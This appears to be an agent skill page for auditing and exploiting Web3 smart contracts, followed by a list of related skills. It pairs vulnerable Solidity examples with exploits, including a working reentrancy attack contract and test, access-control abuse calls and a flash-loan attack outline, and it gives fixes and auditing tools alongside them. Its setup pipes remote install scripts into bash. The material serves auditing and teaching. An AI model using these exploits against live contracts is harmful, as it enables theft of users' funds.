exploiting-web3-smart-contracts
Audit and exploit smart contracts and Web3 applications including reentrancy, integer overflow, access control flaws, and DeFi-specific vulnerabilities. Use when testing blockchain applications or performing smart contract audits.
What this skill does
# Exploiting Web3 and Smart Contracts
## When to Use
- Smart contract security auditing
- DeFi protocol testing
- Web3 application pentesting
- Blockchain vulnerability assessment
- NFT platform security
## Environment Setup
**Install Tools:**
```bash
# Node.js and npm
curl -fsSL https://deb.nodesource.com/setup_18.x | sudo -E bash -
sudo apt install -y nodejs
# Hardhat (Ethereum development)
npm install --save-dev hardhat
# Foundry (Rust-based toolkit)
curl -L https://foundry.paradigm.xyz | bash
foundryup
# Slither (static analysis)
pip3 install slither-analyzer
# Mythril (security analysis)
pip3 install mythril
```
**Connect to Networks:**
```javascript
// Ethereum Mainnet via Infura
const Web3 = require('web3');
const web3 = new Web3('https://mainnet.infura.io/v3/YOUR_KEY');
// Local development (Hardhat/Ganache)
const web3 = new Web3('http://127.0.0.1:8545');
```
## Common Smart Contract Vulnerabilities
### 1. Reentrancy
**Vulnerable Contract:**
```solidity
contract Vulnerable {
mapping(address => uint) public balances;
function withdraw() public {
uint amount = balances[msg.sender];
// Vulnerable: external call before state update
(bool success,) = msg.sender.call{value: amount}("");
require(success);
balances[msg.sender] = 0; // State update after call
}
}
```
**Exploit:**
```solidity
contract Attack {
Vulnerable victim;
constructor(address _victim) {
victim = Vulnerable(_victim);
}
function attack() public payable {
victim.deposit{value: 1 ether}();
victim.withdraw();
}
fallback() external payable {
if (address(victim).balance >= 1 ether) {
victim.withdraw(); // Reenter
}
}
}
```
**Prevention:**
- Checks-Effects-Interactions pattern
- ReentrancyGuard modifier
- Use transfer() instead of call()
### 2. Integer Overflow/Underflow
**Vulnerable (Solidity < 0.8.0):**
```solidity
function transfer(address _to, uint256 _value) public {
require(balances[msg.sender] - _value >= 0); // Can underflow
balances[msg.sender] -= _value;
balances[_to] += _value; // Can overflow
}
```
**Exploit:**
```solidity
// Send more tokens than you have
// balances[msg.sender] = 1
// _value = 2
// 1 - 2 = 2^256 - 1 (underflow)
```
**Prevention:**
- Use Solidity >= 0.8.0 (automatic checks)
- Use SafeMath library
- Manual overflow checks
### 3. Access Control Issues
**Vulnerable:**
```solidity
function withdraw() public {
// Missing access control!
msg.sender.transfer(address(this).balance);
}
function setOwner(address _owner) public {
owner = _owner; // Anyone can become owner
}
```
**Exploit:**
```javascript
// Call withdraw from any address
await contract.withdraw();
// Become owner
await contract.setOwner(attackerAddress);
```
**Prevention:**
```solidity
modifier onlyOwner() {
require(msg.sender == owner, "Not owner");
_;
}
function withdraw() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
```
### 4. Unchecked External Calls
**Vulnerable:**
```solidity
function callExternal(address target) public {
target.call(""); // Return value not checked
}
function sendEther(address payable recipient) public {
recipient.send(1 ether); // Silently fails if send() returns false
}
```
**Prevention:**
```solidity
(bool success,) = target.call("");
require(success, "Call failed");
```
### 5. Delegatecall Injection
**Vulnerable:**
```solidity
function forward(address _target, bytes memory _data) public {
_target.delegatecall(_data); // Executes in contract's context
}
```
**Exploit:**
```solidity
// Attacker can modify contract storage
// Call selfdestruct()
// Change owner
```
**Prevention:**
- Avoid delegatecall to user-controlled addresses
- Whitelist allowed targets
- Use libraries instead
### 6. Front-Running / MEV
**Scenario:**
```solidity
// DEX swap at specific price
function swap(uint256 amountIn) public {
uint256 amountOut = getAmountOut(amountIn);
// Attacker sees this in mempool
// Submits transaction with higher gas to execute first
// Changes the price before victim's tx
}
```
**MEV Attacks:**
- Front-running
- Back-running
- Sandwich attacks
- Liquidations
- Arbitrage
**Mitigation:**
- Commit-reveal schemes
- Private mempools (Flashbots)
- Slippage protection
- Minimal on-chain disclosure
### 7. Price Oracle Manipulation
**Vulnerable:**
```solidity
// Using single DEX as price source
function getPrice() public view returns (uint256) {
return uniswapPair.getReserves();
}
```
**Exploit:**
```solidity
// Flash loan attack
// 1. Borrow large amount
// 2. Manipulate DEX price
// 3. Interact with vulnerable contract
// 4. Repay flash loan
// 5. Profit
```
**Prevention:**
- Use time-weighted average price (TWAP)
- Multiple oracle sources (Chainlink)
- Delay price updates
- Min/max price bounds
### 8. Denial of Service
**Vulnerable:**
```solidity
function distribute() public {
for (uint i = 0; i < users.length; i++) {
users[i].transfer(amount); // Can run out of gas
}
}
function withdraw() public {
// Winner takes all
require(msg.sender == topBidder);
msg.sender.transfer(address(this).balance);
}
```
**Exploit:**
- Create contract that rejects ether (reverts in fallback)
- Become topBidder
- Prevent anyone from winning
**Prevention:**
- Pull over push pattern
- Gas limits
- Emergency stop mechanisms
## Auditing Tools
### Static Analysis
**Slither:**
```bash
# Analyze contract
slither contract.sol
# Specific detectors
slither contract.sol --detect reentrancy-eth,tx-origin
# Generate report
slither contract.sol --json output.json
# Common detectors:
# - reentrancy-eth
# - uninitialized-state
# - tx-origin
# - unchecked-transfer
# - arbitrary-send
```
**Mythril:**
```bash
# Analyze with Mythril
myth analyze contract.sol
# Specify contract
myth analyze contract.sol:ContractName
# Graph generation
myth analyze contract.sol --graph output.html
```
**Securify:**
```bash
# Online tool
# https://securify.chainsecurity.com/
```
### Dynamic Analysis
**Echidna (Fuzzer):**
```bash
# Install
docker pull trailofbits/echidna
# Run fuzzer
echidna-test contract.sol --contract ContractName
```
**Manticore (Symbolic Execution):**
```bash
# Install
pip3 install manticore
# Analyze
manticore contract.sol
```
### Testing Frameworks
**Hardhat:**
```javascript
const { expect } = require("chai");
describe("Token", function () {
it("Should exploit reentrancy", async function () {
const [owner, attacker] = await ethers.getSigners();
const Vulnerable = await ethers.getContractFactory("Vulnerable");
const vulnerable = await Vulnerable.deploy();
const Attack = await ethers.getContractFactory("Attack");
const attack = await Attack.deploy(vulnerable.address);
// Exploit
await attack.attack({ value: ethers.utils.parseEther("1.0") });
// Verify
expect(await ethers.provider.getBalance(vulnerable.address)).to.equal(0);
});
});
```
**Foundry:**
```solidity
// test/Exploit.t.sol
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "../src/Vulnerable.sol";
contract ExploitTest is Test {
Vulnerable public vulnerable;
function setUp() public {
vulnerable = new Vulnerable();
}
function testExploit() public {
// Test exploit
}
}
```
```bash
# Run tests
forge test
forge test --match-contract ExploitTest -vvv
```
## DeFi-Specific Attacks
### Flash Loan Attack
```solidity
interface IFlashLoan {
function flashLoan(uint256 amount) external;
}
contract FlashLoanExploit {
function exploit() external {
// 1. Borrow flash loan
IFlashLoan(lender).flashLoan(1000000 ether);
}
function executeOperation(uint256 amount) external {
// 2. Manipulate price oracle
// 3. Exploit vulnerable contract
// 4. Repay flash loan + fee
// 5. Keep profit
}
}
```
### ImpRelated in Security
mac-ops
IncludedComprehensive macOS workstation operations — diagnose kernel panics, identify failing drives, audit launchd startup items, decode wake reasons, triage TCC permission denials, manage APFS snapshots, recover from no-boot. Use for: Mac is slow, slow bootup, won't boot, kernel panic, kernel_task hot, mds_stores CPU, photoanalysisd, cloudd, login loop, gray screen, sleep wake failure, drive failing, IO errors, APFS snapshots eating space, Time Machine local snapshots, Spotlight indexing, launchd, LaunchAgent, LaunchDaemon, login items, TCC permissions, Full Disk Access, Screen Recording denied, Gatekeeper, quarantine, com.apple.quarantine, app is damaged, helper tool, /Library/PrivilegedHelperTools, pmset, wake reasons, dark wake, sysdiagnose, panic.ips, DiagnosticReports, configuration profile, MDM profile, remote diagnostics over SSH.
a11y-audit
IncludedRun accessibility audits on web projects combining automated scanning (axe-core, Lighthouse) with WCAG 2.1 AA compliance mapping, manual check guidance, and structured reporting. Output is configurable: markdown report only, markdown plus machine-readable JSON, or markdown plus issue tracker integration. Use this skill whenever the user mentions "accessibility audit", "a11y audit", "WCAG audit", "accessibility check", "compliance scan", or asks to check a web project for accessibility issues. Also trigger when the user wants to verify WCAG conformance or map findings to a specific standard (CAN-ASC-6.2, EN 301 549, ADA/AODA).
erpclaw
IncludedAI-native ERP system with self-extending OS. Full accounting, invoicing, inventory, purchasing, tax, billing, HR, payroll, advanced accounting (ASC 606/842, intercompany, consolidation), and financial reporting. 413 actions across 14 domains, 43 expansion modules. Constitutional guardrails, adversarial audit, schema migration. Double-entry GL, immutable audit trail, US GAAP.
assess
IncludedAssesses and rates quality 0-10 across multiple dimensions (correctness, maintainability, security, performance, testability, simplicity) with pros/cons analysis. Compares against project conventions and prior decisions from memory. Produces structured evaluation reports with actionable improvement suggestions. Use when evaluating code, designs, architectures, or comparing alternative approaches.
spring-boot-security-jwt
IncludedProvides JWT authentication and authorization patterns for Spring Boot 3.5.x covering token generation with JJWT, Bearer/cookie authentication, database/OAuth2 integration, and RBAC/permission-based access control using Spring Security 6.x. Use when implementing authentication or authorization in Spring Boot applications.
code-hardcode-audit
IncludedDetect hardcoded values, magic numbers, and leaked secrets. TRIGGERS - hardcode audit, magic numbers, PLR2004, secret scanning.